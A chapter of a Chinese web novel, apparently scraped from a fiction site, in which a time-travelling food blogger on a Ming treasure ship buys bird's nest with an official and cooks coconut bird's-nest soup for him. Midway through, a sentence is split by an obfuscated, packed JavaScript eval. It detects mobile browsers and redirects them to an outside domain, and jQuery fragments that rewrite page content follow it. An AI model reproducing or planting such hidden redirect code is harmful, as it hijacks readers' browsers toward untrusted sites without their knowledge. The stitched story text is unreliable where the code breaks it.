35.椰香燕窝(一)
作品:《东方宝船美食之旅》 清晨薄雾,船在风中继续航行着,长宁号虽还未能和大部队汇合,但眼前宝船物资充足,暂未遭遇到风浪,裴宴舟和船上一众大人商议决定,仍然按照范伙长的经验,慢慢顺着风的速度,追上队伍的轨迹。
裴宴舟站在甲板,偶然瞥见栏杆某处,有个新刻下的三角形标志,他对这个标志很熟悉,是来自“九婴”,他记得明明之前都没看见过这种标志,怎么会无端端冒出来,还是说以前就有,他没在意。
“好的好的,我来了。”
姜月照气喘吁吁,慌忙赶来甲板上,到底是谁临时通知她,身为副伙夫长,必须要跟着买办出门采购食材的。
她想了想,估计是张大这人突然犯了懒,便将她派去。
等着买办和姜月照的是一艘小船,船在水手的指挥下,慢慢靠近着大船。
裴宴舟朝蔺金甲望去,吩咐道:“今日公务好像没什么要处理的,我跟着买办出去一趟。”
“……”蔺金甲还没回应,裴宴舟的人就已经走远了。
旁边小桌上,剩下正在写诗的冯时,咬着毛笔发愣,对裴宴舟的离开没有在意。
“裴大人。”
买办周大人行礼,看裴宴舟矫健登船的模样,似乎是要同他一起去。
裴宴舟先一步跳上小船,转身同时,姜月照正好走进船舷看见他。
裴宴舟不咸不淡地望着她,冷漠的神情盯得她背脊发凉,姜月照努力回想着这几日餐食的准备,是不是哪里又惹了他的不满。
姜月照实在想不出来,原来张大不愿意跟着一块去采买,是情有可原的,谁愿意跟着这么大一个领导出门,做什么都不自在,可她却没办法回去。
木制小船随着波浪轻轻晃悠,小船和宝船之间,架着一块窄小的木板。
姜月照望着那晃晃悠悠的木板,她的动作有些笨拙,还是第一次在这茫茫大海上换船,生怕哪一步踏错,人就无端端摔进海里去了。
她脚尖在木板边缘顿了顿,木板上有着因为常年潮湿缠绕的青苔,她攥着衣角的手指捏紧,害怕自己脚滑。
“哎哟!”
果然,怕什么来什么,她一脚踩在木板的青苔上,重心不稳,人向前扑了上去,正巧扑到裴宴舟的怀里。
她的人贸然摔进别人坚硬的胸膛里,这么近距离的接触,还是在她的记忆里,第一次闻到裴宴舟身上的味道,带着淡淡的麝香。
裴宴舟用身体接住了人,伸手慢慢拢住姜月照的手腕。
他的指腹带着常年握刀留下的薄茧,接触到姜月照细腻的皮肤时,陡然想起那两次在夜色里失控的画面,就像摸到什么易碎的陶瓷,又往回收了收力气。
两人眼光交错,让裴宴舟的心神顿时慌了神,再次想起那个夜晚,在这刹那间,裴宴舟仿佛下意识地深吸一口气,猛然在姜月照的发间嗅到他熟悉的甜香,无法割舍,难以忘记。
“咳咳。”
周大人轻轻咳嗽一声,裴宴舟顿觉,怀里抱着姜月照不太妥当,便瞬间将人放开。
姜月照找个位置坐下,虽然自己略懂水性,但在这茫茫大海上,连个救生圈都没有,就靠着这艘小船进出,莫名让人有些不安,她拽紧自己的衣角,紧张的小动作被裴宴舟看在眼里。
姜月照察觉到有人的目光落在她的身上,小船上拢共一位周大人,三位水手,最后只剩下那位裴大人。
行船中,她朝裴宴舟的方向看去,可裴宴舟的目光却又没有落在她的身上。
小船徐徐在雨林岛屿里穿梭着,这时水手们的额头上,已经布满了不少的汗水。
船转过一道弯,姜月照的眼前忽然铺开了数十座小岛。
有的岛上立着孤高的火山岩,有的岛上则被茂密的榕树覆盖着,无数气根垂到水面,就像天然帘幕,水手掌控着船身,灵巧穿行而过。
直到海水颜色慢慢变浅,小船缓缓停靠在一处由木板打造的码头上,姜月照跟着众人下船来,这还是她第一次跟着买办到异国他乡来采购。
她跟在周大人身后,裴宴舟的脚步同她一致,走在她的身旁。
大家今日的装扮,跟常年在南洋行商的商人差不多,打算在这小渔村采买些需要或者稀奇的东西。
姜月照仔细看着渔村边上,货郎或者姑娘们,有些背着竹筐,有些则是推车。
有些在卖鱼卖虾,有些则是在卖着金贵的玉器或者象牙。
姜月照看不懂这些,但还是小心观察着,生怕错过什么特殊的食材或者是香料。
忽然,她看见一个男孩的推车上摆着,有着一种在这个朝代,大家都没怎么见过,不太寻常的食材——燕窝。
一盏金贵的燕窝,形如半月,色若米白。
那男孩看见姜月照识货,便上来叽里呱啦地推荐着自家的产品,她一句都没听懂。
这时周大人上前,听懂了那男孩的介绍。
姜月照也跟着向周大人和裴宴舟,科普着燕窝的药用价值,说道:“医学书上都在说‘大养肺阴,化痰止嗽’,这燕窝确实金贵,但采摘的方式的确不怎么环保……”
身为美食博主的姜月照,曾经做过相关的科普类视频,就连燕窝的由来,都有这么一说,是郑和下西洋的时候,船员因为食物短缺,意外在荒岛上发现的食材,可没想到今天,阴差阳错被他们一行人再次发现了。
姜月照因为接到的是燕窝推广,在商家是否环保上,是否虐杀金丝燕后进行采摘,做过详细的背景调查。因为现代社会的市场需求量大,厂家在东南亚有自己燕窝的工厂,全部人工培育,不是野生燕窝。
尽管姜月照已经万分小心接下这项广告,制作商单视频,但她仍然因为不环保的理由被杠精喷了。不堪舆论压力,当时还是小小博主的她,只好下架这个视频,中断和厂家的此次合作关系。
来到眼前大明,姜月照简明扼要地向裴宴舟和周大人,描述了燕窝是金丝燕如何用唾液一点点筑成的巢,尽管采摘方式有些缺德,但药用价值仍然不可小觑。
“竟然是这样来的!”
裴宴舟举着手里小小的燕盏,很是惊异,既然采摘方式饱受争议,他们为何不能去亲自看看。
经过周大人的沟通,那卖燕窝的当地男孩,同意带着他们去采摘的地方。
一行人跟着他,来到某处接连着海边的崖谷,抬头望去,数十位渔民正悬吊在山涧中的岩缝里,场面很是惊险。
周大人翻译道:“几个月前,这男孩的一个叔叔,因为摘燕窝的时候,绳子没系牢,把自己的大腿摔断了……”
这个故事,让在场的人无不一阵唏嘘。
姜月照再次回想,当时的她是不是不应该,接下那个燕窝产品的推广。
这时,男孩跟他的发小打着招呼,只见他那发小,像一只灵动的猿猴般,贴着石岩壁向上攀爬着,即使被尖锐的石缝划破掌心,渗出血珠滴在崖底,他似乎毫无知觉一样,全神贯注一心放在眼前的燕盏上。
裴宴舟举着千里眼才看清,那金丝燕的巢由无数细密的银丝交织在一起,看上去坚硬柔韧却饱含光泽。
男孩将浸湿的手帕擦了擦燕盏周围,接着再用小刀小心翼翼地割下燕窝,将它裹在油纸,塞进怀里。
姜月照第一次看见这样新鲜摘下的燕窝,干燥中带着淡淡的石壁味道。
不仅仅是周大人,裴宴舟也同意将海岛上的燕窝悉数买回。
裴宴舟对燕窝的好奇到了极致,就连当天的宵夜,他都指定姜月照用燕窝做菜。
夜色正浓,姜月照在伙房掌灯,慢慢挑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035181|176549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
燕窝身上的杂毛,然后将新鲜燕窝泡进水中。
记得在燕窝的那个视频中,姜月照为了商家的合作,几乎将燕窝系列都撰写进视频的方案中,在里面做了将近十款各种各样的燕窝菜式,却被杠精喷得一无是处。
燕窝厂家体谅姜月照的不易,虽然视频下架了,但合作的后续尾款也尽数打了过来。
“在想什么?”
裴宴舟神出鬼没出现,发出声音把姜月照吓了一跳。
姜月照心里憋着气,思量片刻后,问道:“如果因为你喜欢吃燕窝,但因为这种暴力粗犷的采摘方式,破坏生态平衡……不是……”
姜月照顿了顿,努力思考着应该用什么样的措辞去描述,“你今天也看见了,破坏了金丝燕的家园,然后大家就来抨击你,你该怎么回应呢?还是说以后都不吃了?”
裴宴舟目光灼灼,挑起眉梢看向姜月照,虽然他不怎么能理解这个问题,但仔细想了想,冷漠回答道:“弱肉强食,天经地义。”
“……”
这个答案从裴宴舟的嘴巴里说出来,并不意外,姜月照再想了想,试图让对方能理解现代社会,还有生态平衡需要保护这件事。
但她解释半天,裴宴舟依然冷冰冰回答道:“如果我今天不吃,仍然还会有别人经过那里,去买来吃,存在买卖市场,为什么大家只苛责我一个人?既然有了开头,那便有人来结束。今天那些渔民卖燕窝换来的金子,怕够他们活三代无忧了!”
“……”
歪理是这么一个歪理,姜月照没法再次解释,也没有接受。
她决定忘掉这段话题,不再因此精神内耗下去。
姜月照转身去灶台,将处理好的燕窝放进炖盅,重新加入适量泉水,改好没过燕窝。
她将炖盅放进锅内,锅里加水刚好至炖盅的一半高度,先用大火烧开锅中的水,再调成小火,隔水慢炖半个时辰左右的时间。
姜月照抬眼记住沙漏的时间,去伙房角落拿了颗椰子,开始准备着放进燕窝里面的椰奶。
但劈椰子对她来说,确实是项技术活,她只好堆着笑容朝裴宴舟看去。
裴宴舟二话不说,提着手里的绣春刀朝那笨重的椰子砍去,动作利落地像在砍犯人的头,把姜月照吓得瞬间屏息,连连后退好几步。
姜月照用勺子,将椰肉挖到燕窝的炖盅里,最后加入少许冰糖,搅拌均匀后,继续炖煮一炷香的时间,让冰糖和椰肉的味道,完全融化在燕窝中。
因为那十次的燕窝美食视频的制作经验,姜月照对烹饪方式和口感拿捏到位,做燕窝应该需要注意的地方,她闭着眼睛都能背出来。
燕窝经过充分的炖煮后,里面胶状之地会变得非常细腻柔滑,入口即化,每一口相信都能给人带来极致的味觉舒适体验。
椰肉本身有清甜的味道,和燕窝的温润相结合,能让这道甜品的口感变得清爽,而不至于太甜,让人腻烦。
最后时间一到,她将炖盅端到裴宴舟的面前。
他揭开盖子后,用勺子舀起一口,送进嘴里,脸上却没有出现姜月照期待的满足表情。
裴宴舟的眉头不自觉地皱起来,他再次舀起一勺,送到伙夫姜月照的面前,“你尝尝,这味道是不是太甜了?!”
“怎么会?!”
冰糖的份量,她都是按照比例放的。
姜月照一时心急,便将头伸过来,主动喝下了那勺,裴宴舟喂过来的椰香燕窝。
两人近距离四目交错,姜月照将那勺燕窝含在嘴里,吞不是,不吞也不是。
伙房的空气顿时变得焦灼,这举止怕是太暧昧了点。
裴宴舟滚了滚喉咙,举着勺子的手僵在半空中,今日就算是大明的皇帝来了,他本意也从未想过是这样的。